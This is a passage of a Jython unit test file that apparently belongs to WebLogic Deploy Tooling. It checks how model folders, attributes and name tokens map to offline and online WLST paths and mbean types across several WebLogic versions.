'/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams' \ '/NO_NAME_0/Properties/NO_NAME_0/Property' create_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams' \ '/NO_NAME_0/Properties/NO_NAME_0' add_jdbc_params_properties(location, self.aliases) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'user') result = self.aliases.get_wlst_attributes_path(location) self.assertEqual(result, attr_expected) result = self.aliases.get_wlst_subfolders_path(location) self.assertEqual(result, folder_expected) result = self.aliases.get_wlst_list_path(location) self.assertEqual(result, list_expected) result = self.aliases.get_wlst_create_path(location) self.assertEqual(result, create_expected) return def testVersionFilteredFolders(self): old_wls_version = '10.3.6' new_wls_version = '12.2.1.3' old_aliases = Aliases(self.model_context, WlstModes.OFFLINE, old_wls_version) new_aliases = Aliases(self.model_context, WlstModes.OFFLINE, new_wls_version) location = LocationContext() location.append_location(FOLDERS.PARTITION) mbean_type = old_aliases.get_wlst_mbean_type(location) self.assertEqual(mbean_type, None, 'expected Partition type to be null') mbean_type = new_aliases.get_wlst_mbean_type(location) self.assertNotEqual(mbean_type, None, 'expected Partition type not to be null') location.pop_location() location.append_location(FOLDERS.CLUSTER) location.append_location(FOLDERS.DYNAMIC_SERVERS) mbean_type = old_aliases.get_wlst_mbean_type(location) self.assertEqual(mbean_type, None, 'expected DynamicServers type to be null') mbean_type = new_aliases.get_wlst_mbean_type(location) self.assertNotEqual(mbean_type, None, 'expected DynamicServers type not to be null') return def testVersionFilteredFoldersWithFolderParams(self): old_wls_version = '10.3.6' new_wls_version = '12.2.1.3' old_aliases = Aliases(self.model_context, WlstModes.OFFLINE, old_wls_version) new_aliases = Aliases(self.model_context, WlstModes.OFFLINE, new_wls_version) location = LocationContext() location.append_location(FOLDERS.SAF_AGENT) name_token = old_aliases.get_name_token(location) location.add_name_token(name_token, 'SafAgent') location.append_location(FOLDERS.SAF_MESSAGE_LOG_FILE) mbean_type = old_aliases.get_wlst_mbean_type(location) self.assertEqual(mbean_type, None, 'expected SAF Agent Message Log type to be null') mbean_type = new_aliases.get_wlst_mbean_type(location) self.assertNotEqual(mbean_type, None, 'expected SAF Agent Message Log not to be null') return def testDomainAttributeMethods(self): aliases = Aliases(self.model_context, WlstModes.OFFLINE) location = LocationContext() get_required_attributes = aliases.get_wlst_get_required_attribute_names(location) self.assertNotEqual(get_required_attributes, None, 'expected get-required attributes to not be None') restart_required_attributes = aliases.get_wlst_get_required_attribute_names(location) self.assertNotEqual(restart_required_attributes, None, 'expected restart-required attributes to not be None') return def testMTAliasLoading(self): aliases = Aliases(self.model_context, WlstModes.OFFLINE) attr_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams/NO_NAME_0' folder_expected = attr_expected list_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams' create_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource' location = get_jdbc_driver_params_location('my-datasource', self.aliases) result = aliases.get_wlst_attributes_path(location) self.assertEqual(result, attr_expected) result = aliases.get_wlst_subfolders_path(location) self.assertEqual(result, folder_expected) result = aliases.get_wlst_list_path(location) self.assertEqual(result, list_expected) result = aliases.get_wlst_create_path(location) self.assertEqual(result, create_expected) attr_expected = '/ResourceGroupTemplate/MyResourceGroupTemplate/JDBCSystemResource/my-datasource' \ '/JdbcResource/my-datasource/JDBCDriverParams/NO_NAME_0' folder_expected = attr_expected list_expected = '/ResourceGroupTemplate/MyResourceGroupTemplate/JDBCSystemResource/my-datasource' \ '/JdbcResource/my-datasource/JDBCDriverParams' create_expected = '/ResourceGroupTemplate/MyResourceGroupTemplate/JDBCSystemResource/my-datasource' \ '/JdbcResource/my-datasource' location = LocationContext() location.append_location(FOLDERS.RESOURCE_GROUP_TEMPLATE) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'MyResourceGroupTemplate') location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) location.add_name_token(self.aliases.get_name_token(location), 'my-datasource') location.append_location(FOLDERS.JDBC_RESOURCE) add_default_token_value(location, self.aliases) location.append_location(FOLDERS.JDBC_DRIVER_PARAMS) add_default_token_value(location, self.aliases) result = aliases.get_wlst_attributes_path(location) self.assertEqual(result, attr_expected) result = aliases.get_wlst_subfolders_path(location) self.assertEqual(result, folder_expected) result = aliases.get_wlst_list_path(location) self.assertEqual(result, list_expected) result = aliases.get_wlst_create_path(location) self.assertEqual(result, create_expected) attr_expected = '/ResourceGroup/MyResourceGroup/JDBCSystemResource/my-datasource/JdbcResource' \ '/my-datasource/JDBCDriverParams/NO_NAME_0' folder_expected = attr_expected list_expected = '/ResourceGroup/MyResourceGroup/JDBCSystemResource/my-datasource/JdbcResource' \ '/my-datasource/JDBCDriverParams' create_expected = '/ResourceGroup/MyResourceGroup/JDBCSystemResource/my-datasource/JdbcResource/my-datasource' location = LocationContext() location.append_location(FOLDERS.RESOURCE_GROUP) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'MyResourceGroup') location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) location.add_name_token(self.aliases.get_name_token(location), 'my-datasource') location.append_location(FOLDERS.JDBC_RESOURCE) add_default_token_value(location, self.aliases) location.append_location(FOLDERS.JDBC_DRIVER_PARAMS) add_default_token_value(location, self.aliases) result = aliases.get_wlst_attributes_path(location) self.assertEqual(result, attr_expected) result = aliases.get_wlst_subfolders_path(location) self.assertEqual(result, folder_expected) result = aliases.get_wlst_list_path(location) self.assertEqual(result, list_expected) result = aliases.get_wlst_create_path(location) self.assertEqual(result, create_expected) attr_expected = '/Partition/MyPartition/ResourceGroup/MyResourceGroup/JDBCSystemResource' \ '/my-datasource/JdbcResource/my-datasource/JDBCDriverParams/NO_NAME_0' folder_expected = attr_expected list_expected = '/Partition/MyPartition/ResourceGroup/MyResourceGroup/JDBCSystemResource' \ '/my-datasource/JdbcResource/my-datasource/JDBCDriverParams' create_expected = '/Partition/MyPartition/ResourceGroup/MyResourceGroup/JDBCSystemResource' \ '/my-datasource/JdbcResource/my-datasource' location = LocationContext() location.append_location(FOLDERS.PARTITION) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'MyPartition') location.append_location(FOLDERS.RESOURCE_GROUP) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'MyResourceGroup') location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) location.add_name_token(self.aliases.get_name_token(location), 'my-datasource') location.append_location(FOLDERS.JDBC_RESOURCE) add_default_token_value(location, self.aliases) location.append_location(FOLDERS.JDBC_DRIVER_PARAMS) add_default_token_value(location, self.aliases) result = aliases.get_wlst_attributes_path(location) self.assertEqual(result, attr_expected) result = aliases.get_wlst_subfolders_path(location) self.assertEqual(result, folder_expected) result = aliases.get_wlst_list_path(location) self.assertEqual(result, list_expected) result = aliases.get_wlst_create_path(location) self.assertEqual(result, create_expected) return def testChildNodeTypes(self): location = LocationContext() location.append_location(FOLDERS.SELF_TUNING) result = self.aliases.requires_unpredictable_single_name_handling(location) self.assertEqual(result, True) result = self.aliases.supports_multiple_mbean_instances(location) self.assertEqual(result, False) name_token = self.aliases.get_name_token(location) self.assertEqual(name_token, 'SELFTUNING') location.add_name_token("DOMAIN", 'mydomain') mbean_name = self.aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, 'NO_NAME_0') mbean_name = self.online_aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, 'mydomain') location.append_location(FOLDERS.WORK_MANAGER) result = self.aliases.requires_unpredictable_single_name_handling(location) self.assertEqual(result, False) result = self.aliases.supports_multiple_mbean_instances(location) self.assertEqual(result, True) name_token = self.aliases.get_name_token(location) self.assertEqual(name_token, 'WORKMANAGER') location.add_name_token(name_token, 'MyWorkManager') mbean_name = self.aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, 'MyWorkManager') mbean_name = self.online_aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, 'MyWorkManager') location.append_location('WorkManagerShutdownTrigger') location.add_name_token(self.aliases.get_name_token(location), 'MyWorkManager') result = self.aliases.supports_multiple_mbean_instances(location) self.assertEqual(result, False) name_token = self.aliases.get_name_token(location) self.assertEqual(name_token, 'WORKMANAGERSHUTDOWNTRIGGER') mbean_name = self.aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, 'NO_NAME_0') mbean_name = self.online_aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, 'MyWorkManager') location = LocationContext().append_location(FOLDERS.SECURITY, FOLDERS.GROUP, DOMAIN='mydomain') result = self.aliases.supports_multiple_mbean_instances(location) self.assertEqual(result, True) return def testFlattenedFolders(self): location = get_jdbc_params_properties_location('my-datasource', self.aliases) flattened_info = self.aliases.get_wlst_flattened_folder_info(location) online_flattened_info = self.online_aliases.get_wlst_flattened_folder_info(location) self.assertNotEqual(flattened_info, None) name = flattened_info.get_mbean_name() online_name = online_flattened_info.get_mbean_name() type = flattened_info.get_mbean_type() self.assertEqual(name, 'NO_NAME_0') self.assertEqual(online_name, 'my-datasource') self.assertEqual(type, 'Properties') expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams/NO_NAME_0/Properties' result = self.aliases.get_wlst_flattened_folder_list_path(location) self.assertEqual(result, expected) expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams/NO_NAME_0' result = self.aliases.get_wlst_flattened_folder_create_path(location) self.assertEqual(result, expected) return def testModelFolderPath(self): location = get_jdbc_params_properties_location('my-datasource', self.aliases) expected = 'resources:/JDBCSystemResource/my-datasource/JdbcResource/JDBCDriverParams/Properties' path = self.aliases.get_model_folder_path(location) self.assertEqual(path, expected) token_name = self.aliases.get_name_token(location) if token_name is not None: location.add_name_token(token_name, 'user') expected = 'resources:/JDBCSystemResource/my-datasource/JdbcResource/JDBCDriverParams/Properties/user' path = self.aliases.get_model_folder_path(location) self.assertEqual(path, expected) expected = 'topology:/SecurityConfiguration/Realm/myrealm/AuthenticationProvider/' \ 'MyLDAPAuthentication/LDAPAuthenticator' # Test artificial folder for security providers location = LocationContext().append_location(FOLDERS.SECURITY_CONFIGURATION) token_name = self.aliases.get_name_token(location) if token_name is not None: location.add_name_token(token_name, 'mydomain') location.append_location(FOLDERS.REALM) token_name = self.aliases.get_name_token(location) if token_name is not None: location.add_name_token(token_name, 'myrealm') location.append_location(FOLDERS.AUTHENTICATION_PROVIDER) token_name = self.aliases.get_name_token(location) if token_name is not None: location.add_name_token(token_name, 'MyLDAPAuthentication') location.append_location(FOLDERS.LDAP_AUTHENTICATOR) result = self.aliases.get_model_folder_path(location) self.assertEqual(result, expected) return def testIsValidModelFolderName(self): location = LocationContext() result, message = self.aliases.is_valid_model_folder_name(location, 'ServerTemplate') self.assertEqual(result, ValidationCodes.VALID) aliases = Aliases(self.model_context, wls_version='12.1.1') result, message = aliases.is_valid_model_folder_name(location, 'ServerTemplate') self.assertEqual(result, ValidationCodes.VERSION_INVALID) result, message = self.aliases.is_valid_model_folder_name(location, 'ServerTemplates') self.assertEqual(result, ValidationCodes.INVALID) top_level_topology_folders = self.aliases.get_model_topology_top_level_folder_names() for folder in top_level_topology_folders: result, message = self.aliases.is_valid_model_folder_name(location, folder) self.assertEqual(result, ValidationCodes.VALID) return def testBooleanDefaultValues(self): location = LocationContext().append_location(FOLDERS.RESTFUL_MANAGEMENT_SERVICES, DOMAIN='mydomain') name, value = self.aliases.get_model_attribute_name_and_value(location, 'JavaServiceResourcesEnabled', 'false') self.assertEqual(name, 'JavaServiceResourcesEnabled') self.assertEqual(value, None) return def testGetWlstAttributeJavaBoolean(self): location = LocationContext().append_location(FOLDERS.SECURITY_CONFIGURATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'my-domain') location.append_location(FOLDERS.REALM, REALM="myrealm").\ append_location(FOLDERS.AUTHENTICATION_PROVIDER, PROVIDER='myprovider').\ append_location(FOLDERS.ACTIVE_DIRECTORY_AUTHENTICATOR) name, value = self.aliases.get_wlst_attribute_name_and_value(location, 'UseRetrievedUserNameAsPrincipal', 'true') self.assertEqual(name, 'UseRetrievedUserNameAsPrincipal') self.assertEqual(value, Boolean('true')) return def testGetWlstAttributeJavaBooleanNewIssue157(self): location = LocationContext().append_location(FOLDERS.SECURITY_CONFIGURATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'my-domain') location.append_location(FOLDERS.REALM, REALM="myrealm"). \ append_location(FOLDERS.AUTHENTICATION_PROVIDER, PROVIDER='myprovider'). \ append_location(FOLDERS.ACTIVE_DIRECTORY_AUTHENTICATOR) name, value = self.aliases.get_wlst_attribute_name_and_value(location, 'UseTokenGroupsForGroupMembershipLookup', 'true') self.assertEqual(name, 'UseTokenGroupsForGroupMembershipLookup') self.assertEqual(value, Boolean('true')) return def testSecurityProviderTypeHandling(self): location = LocationContext().append_location(FOLDERS.SECURITY_CONFIGURATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'my-domain') location.append_location(FOLDERS.REALM) token = self.aliases.get_name_token(location) location.add_name_token(token, 'myrealm') location.append_location(FOLDERS.AUTHENTICATION_PROVIDER) result = self.aliases.requires_artificial_type_subfolder_handling(location) self.assertEqual(result, True) location.append_location(FOLDERS.DEFAULT_AUTHENTICATOR) try: self.aliases.requires_artificial_type_subfolder_handling(location) self.assertEqual(True, False, 'Excepted AliasException to be thrown') except AliasException, ae: pass return def testSecurityProviderGetAttributes(self): location = LocationContext().append_location(FOLDERS.SECURITY_CONFIGURATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'my-domain') location.append_location(FOLDERS.REALM) token = self.aliases.get_name_token(location) location.add_name_token(token, 'myrealm') location.append_location(FOLDERS.AUTHENTICATION_PROVIDER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'MyDefaultAuthenticator') # result = self.aliases.get_wlst_attributes_path(location) # self.assertEqual(result, # '/SecurityConfiguration/my-domain/Realm/myrealm/AuthenticationProvider/MyDefaultAuthenticator') model_subfolder_name = self.aliases.get_model_subfolder_name(location, 'weblogic.security.providers.authentication.DefaultAuthenticatorMBean') self.assertEqual(model_subfolder_name, 'DefaultAuthenticator') location.append_location(model_subfolder_name) result = self.aliases.get_wlst_attributes_path(location) self.assertEqual(result, '/SecurityConfiguration/my-domain/Realm/myrealm/AuthenticationProvider/MyDefaultAuthenticator') model_name, model_value = self.aliases.get_model_attribute_name_and_value(location, 'CompatibilityObjectName', 'MyObjectName') self.assertEqual(model_name, 'CompatibilityObjectName') self.assertEquals(model_value, 'MyObjectName') return def testJrfSecurityProviderDiscovery(self): location = LocationContext().append_location(FOLDERS.SECURITY_CONFIGURATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'my-domain') location.append_location(FOLDERS.REALM) token = self.aliases.get_name_token(location) location.add_name_token(token, 'myrealm') location.append_location(FOLDERS.AUTHENTICATION_PROVIDER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'myprovider') result = self.aliases.get_model_subfolder_name(location, 'weblogic.security.providers.saml.SAMLAuthenticatorMBean') self.assertEqual(result, 'SAMLAuthenticator') return def testUsesPathTokenAttributeNames(self): location = LocationContext().append_location(FOLDERS.APPLICATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'my-app') expected = ['PlanPath', 'SourcePath', 'AltDescriptorPath', 'AltWLSDescriptorPath', 'InstallDir', 'PlanDir', 'AltDescriptorDir'] result = self.aliases.get_model_uses_path_tokens_attribute_names(location) self.assertNotEqual(result, None, 'expected uses_path_tokens attribute names list to not be None') self.assertEqual(len(result), len(expected)) for name in result: if name not in expected: self.assertEqual(True, False, "attribute name %s not in the list of expected names" % name) return def testDefaultValueStringCompares(self): location=LocationContext().append_location(FOLDERS.SERVER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'AdminServer') model_name, model_value = self.aliases.get_model_attribute_name_and_value(location, 'Notes', '') self.assertEqual(model_name, 'Notes') self.assertEqual(model_value, None) model_name, model_value = self.aliases.get_model_attribute_name_and_value(location, 'Notes', None) self.assertEqual(model_name, 'Notes') self.assertEqual(model_value, None) return def _assertMapEqual(self, expected, testObject): self.assertEqual(expected.size(), testObject.size()) for key in expected.keys(): self.assertEqual(expected.get(key), testObject.get(str(key).strip())) return def testIssue36Fix(self): base_location = LocationContext().append_location(FOLDERS.RESOURCE_MANAGER) token = self.aliases.get_name_token(base_location) base_location.add_name_token(token, 'ResourceManager-0') location = LocationContext(base_location).append_location(FOLDERS.CPU_UTILIZATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'CpuUtilization-0') location.append_location(FOLDERS.TRIGGER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'Trigger-0') expected = [FOLDERS.TRIGGER, '%ss' % FOLDERS.TRIGGER] wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected[0]) wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected[1]) location = LocationContext(base_location).append_location(FOLDERS.FILE_OPEN) token = self.aliases.get_name_token(location) location.add_name_token(token, 'FileOpen-0') location.append_location(FOLDERS.TRIGGER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'Trigger-0') wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected[0]) wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected[1]) location = LocationContext(base_location).append_location(FOLDERS.HEAP_RETAINED) token = self.aliases.get_name_token(location) location.add_name_token(token, 'HeapRetained-0') location.append_location(FOLDERS.TRIGGER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'Trigger-0') wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected[0]) wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected[1]) return def testIssue37Fix(self): location = LocationContext().append_location(FOLDERS.WLDF_SYSTEM_RESOURCE) token = self.aliases.get_name_token(location) location.add_name_token(token, 'WLDFSystemResource-0') location.append_location(FOLDERS.WLDF_RESOURCE) location.append_location(FOLDERS.WATCH_NOTIFICATION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'WatchNotification-0') location.append_location(FOLDERS.HEAP_DUMP_ACTION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'HeapDumpAction-0') wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) expected = FOLDERS.HEAP_DUMP_ACTION self.assertEqual(wlst_mbean_type, expected) wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) expected = '%ss' % FOLDERS.HEAP_DUMP_ACTION self.assertEqual(wlst_mbean_type, expected) return def testIssue38Fix(self): location = LocationContext().append_location(FOLDERS.PARTITION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'Partition-0') # Check offline value of wlst_mbean_type of FOLDERS.PARTITION wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) expected = FOLDERS.PARTITION self.assertEqual(wlst_mbean_type, expected) # Check online value of wlst_mbean_type of FOLDERS.PARTITION. # There should be an 's' on the end of FOLDERS.PARTITION wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) expected = '%ss' % FOLDERS.PARTITION self.assertEqual(wlst_mbean_type, expected) # Add FOLDERS.PARTITION_WORK_MANAGER to the location location.append_location(FOLDERS.PARTITION_WORK_MANAGER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'PartitionWorkManager-0') # Check offline value of wlst_mbean_type after adding # FOLDERS.PARTITION_WORK_MANAGER to the location. There # should not be an 's' on the end of FOLDERS.PARTITION_WORK_MANAGER wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) expected = FOLDERS.PARTITION_WORK_MANAGER self.assertEqual(wlst_mbean_type, expected) # Check online value of wlst_mbean_type after adding # FOLDERS.PARTITION_WORK_MANAGER to the location. It # should be the same value as offline; no 's' on the # end of FOLDERS.PARTITION_WORK_MANAGER wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected) # Check offline value of wlst_list_path after adding # FOLDERS.PARTITION_WORK_MANAGER to the location. There # should not be an 's' on the end of FOLDERS.PARTITION or # FOLDERS.PARTITION_WORK_MANAGER expected = [FOLDERS.PARTITION, 'Partition-0', FOLDERS.PARTITION_WORK_MANAGER] wlst_list_path = self.aliases.get_wlst_list_path(location) self.assertEqual(wlst_list_path, '/%s' % '/'.join(expected)) # Check online value of wlst_list_path after adding # FOLDERS.PARTITION_WORK_MANAGER to the location. There # should be an 's' on the end of FOLDERS.PARTITION, but # not on the end of FOLDERS.PARTITION_WORK_MANAGER expected = ['%ss' % FOLDERS.PARTITION, 'Partition-0', FOLDERS.PARTITION_WORK_MANAGER] wlst_list_path = self.online_aliases.get_wlst_list_path(location) self.assertEqual(wlst_list_path, '/%s' % '/'.join(expected)) # Check offline value of wlst_subfolders_path after adding # FOLDERS.PARTITION_WORK_MANAGER to the location. There # should be an 's' on the end of FOLDERS.PARTITION, but # not on the end of FOLDERS.PARTITION_WORK_MANAGER expected = [FOLDERS.PARTITION, 'Partition-0', FOLDERS.PARTITION_WORK_MANAGER, 'PartitionWorkManager-0'] wlst_subfolders_path = self.aliases.get_wlst_subfolders_path(location) self.assertEqual(wlst_subfolders_path, '/%s' % '/'.join(expected)) # Check online value of wlst_subfolders_path after adding # FOLDERS.PARTITION_WORK_MANAGER to the location. There # should be an 's' on the end of FOLDERS.PARTITION, but # not on the end of FOLDERS.PARTITION_WORK_MANAGER expected = ['%ss' % FOLDERS.PARTITION, 'Partition-0', FOLDERS.PARTITION_WORK_MANAGER, 'PartitionWorkManager-0'] wlst_subfolders_path = self.online_aliases.get_wlst_subfolders_path(location) self.assertEqual(wlst_subfolders_path, '/%s' % '/'.join(expected)) return def testIssue39Fix(self): location = LocationContext().append_location(FOLDERS.PARTITION) token = self.aliases.get_name_token(location) location.add_name_token(token, 'Partition-0') # Check offline value of wlst_mbean_type of FOLDERS.PARTITION wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) expected = FOLDERS.PARTITION self.assertEqual(wlst_mbean_type, expected) # Check online value of wlst_mbean_type of FOLDERS.PARTITION. # There should be an 's' on the end of FOLDERS.PARTITION wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) expected = '%ss' % FOLDERS.PARTITION self.assertEqual(wlst_mbean_type, expected) # Add FOLDERS.RESOURCE_MANAGER to the location location.append_location(FOLDERS.RESOURCE_MANAGER) token = self.aliases.get_name_token(location) location.add_name_token(token, 'ResourceManager-0') # Check offline value of wlst_mbean_type after adding # FOLDERS.RESOURCE_MANAGER to the location. There # should not be an 's' on the end of FOLDERS.RESOURCE_MANAGER wlst_mbean_type = self.aliases.get_wlst_mbean_type(location) expected = FOLDERS.RESOURCE_MANAGER self.assertEqual(wlst_mbean_type, expected) # Check online value of wlst_mbean_type after adding # FOLDERS.RESOURCE_MANAGER to the location. It # should be the same value as offline; no 's' on the # end of FOLDERS.RESOURCE_MANAGER wlst_mbean_type = self.online_aliases.get_wlst_mbean_type(location) self.assertEqual(wlst_mbean_type, expected) # Check offline value of wlst_list_path after adding # FOLDERS.RESOURCE_MANAGER to the location. There # should not be an 's' on the end of FOLDERS.PARTITION or # FOLDERS.RESOURCE_MANAGER expected = [FOLDERS.PARTITION, 'Partition-0', FOLDERS.RESOURCE_MANAGER] wlst_list_path = self.aliases.get_wlst_list_path(location) self.assertEqual(wlst_list_path, '/%s' % '/'.join(expected)) # Check online value of wlst_list_path after adding # FOLDERS.RESOURCE_MANAGER to the location. There # should be an 's' on the end of FOLDERS.PARTITION, but # not on the end of FOLDERS.RESOURCE_MANAGER expected = ['%ss' % FOLDERS.PARTITION, 'Partition-0', FOLDERS.RESOURCE_MANAGER] wlst_list_path = self.online_aliases.get_wlst_list_path(location) self.assertEqual(wlst_list_path, '/%s' % '/'.join(expected)) # Check offline value of wlst_subfolders_path after adding # FOLDERS.RESOURCE_MANAGER to the location. There # should be an 's' on the end of FOLDERS.PARTITION, but # not on the end of FOLDERS.RESOURCE_MANAGER expected = [FOLDERS.PARTITION, 'Partition-0', FOLDERS.RESOURCE_MANAGER, 'ResourceManager-0'] wlst_subfolders_path = self.aliases.get_wlst_subfolders_path(location) self.assertEqual(wlst_subfolders_path, '/%s' % '/'.join(expected)) # Check online value of wlst_subfolders_path after adding # FOLDERS.RESOURCE_MANAGER to the location. There # should be an 's' on the end of FOLDERS.PARTITION, but # not on the end of FOLDERS.RESOURCE_MANAGER expected = ['%ss' % FOLDERS.PARTITION, 'Partition-0', FOLDERS.RESOURCE_MANAGER, 'ResourceManager-0'] wlst_subfolders_path = self.online_aliases.get_wlst_subfolders_path(location) self.assertEqual(wlst_subfolders_path, '/%s' % '/'.join(expected)) return def testIssue50Fix(self): location = LocationContext().append_location(FOLDERS.SERVER_TEMPLATE) token = self.aliases.get_name_token(location) location.add_name_token(token, 'ServerTemplate-0') location.append_location(FOLDERS.WEB_SERVICE) location.append_location(FOLDERS.WEB_SERVICE_BUFFERING) wlst_attribute_name = self.aliases.get_wlst_attribute_name(location, 'RetryCount') expected = 'RetryCount' self.assertEqual(wlst_attribute_name, expected) wlst_attribute_name = self.online_aliases.get_wlst_attribute_name(location, 'RetryCount') self.assertEqual(wlst_attribute_name, expected) return def testIssue57Fix(self): location = LocationContext().append_location(FOLDERS.LOG) token = self.aliases.get_name_token(location) location.add_name_token(token, 'DemoDomain') expected = 'true' default_value = self.online_aliases.get_model_attribute_default_value(location, 'RotateLogOnStartup') self.assertEqual(default_value, expected) return def testIssue91Fix(self): location = LocationContext().append_location(FOLDERS.NM_PROPERTIES) expected = 'startWebLogic.cmd' default_value = self.aliases.get_model_attribute_default_value(location, 'weblogic.StartScriptName') self.assertEqual(default_value, expected) expected = '/' wlst_list_path = self.aliases.get_wlst_list_path(location) self.assertEqual(wlst_list_path, expected) # NMProperties is an offline only folder and the get_model_attribute_default_value will throw and exception model_attribute_name = 'weblogic.StartScriptName' self.assertRaises(AliasException, getattr(self.online_aliases, 'get_model_attribute_default_value'), location, model_attribute_name) # this method will not return an exception but should return a None default_name, default_value = \ self.online_aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, 'script') expected = None self.assertEqual(default_value, expected) return def testGetModelAttributeName(self): location=LocationContext().append_location(FOLDERS.JMS_SYSTEM_RESOURCE) location.add_name_token(self.aliases.get_name_token(location), 'TheModule') location.append_location(FOLDERS.JMS_RESOURCE) add_default_token_value(location, self.aliases) location.append_location(FOLDERS.DISTRIBUTED_TOPIC) location.add_name_token(self.aliases.get_name_token(location), 'TheTopic') # model name should be the same, whether online or offline expected_model_name = 'SafExportPolicy' model_name = self.aliases.get_model_attribute_name(location, 'SafExportPolicy') self.assertEqual(model_name, expected_model_name) model_name = self.online_aliases.get_model_attribute_name(location, 'SAFExportPolicy') self.assertEqual(model_name, expected_model_name) return def testJarrayWithPreferredAndStringArray(self): location = LocationContext().append_location(FOLDERS.SERVER) location.add_name_token(self.aliases.get_name_token(location), 'AdminServer') empty_array = jarray.array([], String) attribute = 'JNDITransportableObjectFactoryList' expected = None actual_attr, actual_value = self.aliases.get_model_attribute_name_and_value(location, attribute, empty_array) self.assertEqual(expected, actual_value) actual_attr, actual_value = self.aliases.get_wlst_attribute_name_and_value(location, actual_attr, actual_value) self.assertEqual(expected, actual_value) attribute_array = jarray.array(['factory1', 'factory2'], String) model_expected = 'factory1,factory2' wlst_expected = attribute_array actual_attr, actual_value = self.aliases.get_model_attribute_name_and_value(location, attribute, attribute_array) self.assertEqual(model_expected, actual_value) actual_attr, actual_value = self.aliases.get_wlst_attribute_name_and_value(location, actual_attr, actual_value) self.assertEqual(wlst_expected, actual_value) def testListGetToList(self): location = LocationContext().append_location(FOLDERS.SERVER) location.add_name_token(self.aliases.get_name_token(location), 'AdminServer') location = location.append_location(FOLDERS.SSL) location.add_name_token(self.aliases.get_name_token(location), 'AdminServer') wlst_list = "TLS;WITH_AES_256_CBC" expected_wlst_list = ['TLS', 'WITH_AES_256_CBC'] expected_wlst_set_list = ['TLS', 'WITH_AES_256_CBC'] attribute = 'Ciphersuite' actual_attr, actual_value = self.aliases.get_model_attribute_name_and_value(location, attribute, wlst_list) self.assertEqual(expected_wlst_list, actual_value) actual_attr, actual_value = self.aliases.get_wlst_attribute_name_and_value(location, actual_attr, actual_value) self.assertEqual(expected_wlst_set_list, actual_value) def testGetJTA(self): location = LocationContext() location.append_location(FOLDERS.JTA) location.add_name_token('DOMAIN', 'mydomain') offline_path = self.aliases.get_wlst_mbean_name(location) self.assertEqual('NO_NAME_0', offline_path) online_path = self.online_aliases.get_wlst_mbean_name(location) self.assertEqual('mydomain', online_path) def testJTAMigratableConstrainedCandidateServer(self): model_value = [ 'MS-1', 'MS-2'] wlst_value_expected = 'MS-1,MS-2' location = LocationContext() location.append_location(FOLDERS.SERVER) location.add_name_token(self.aliases.get_name_token(location), 'MS-1') location.append_location(FOLDERS.JTA_MIGRATABLE_TARGET) location.add_name_token(self.aliases.get_name_token(location), 'NO_NAME_0') wlst_attribute, wlst_value = \ self.aliases.get_wlst_attribute_name_and_value(location, FOLDERS.CONSTRAINED_CANDIDATE_SERVER, model_value) self.assertEquals(wlst_value_expected, wlst_value) def testReadOnlyDiscoverAttribute(self): location = LocationContext() location.add_name_token(self.online_aliases.get_name_token(location), 'my-domain') model_attribute, model_value = \ self.online_aliases.get_model_attribute_name_and_value(location, FOLDERS.DOMAIN_VERSION, '12.2.1.3.0') self.assertEquals('12.2.1.3.0', model_value) wlst_attribute, wlst_value = \ self.online_aliases.get_wlst_attribute_name_and_value(location, FOLDERS.DOMAIN_VERSION, '12.2.1.3.0') 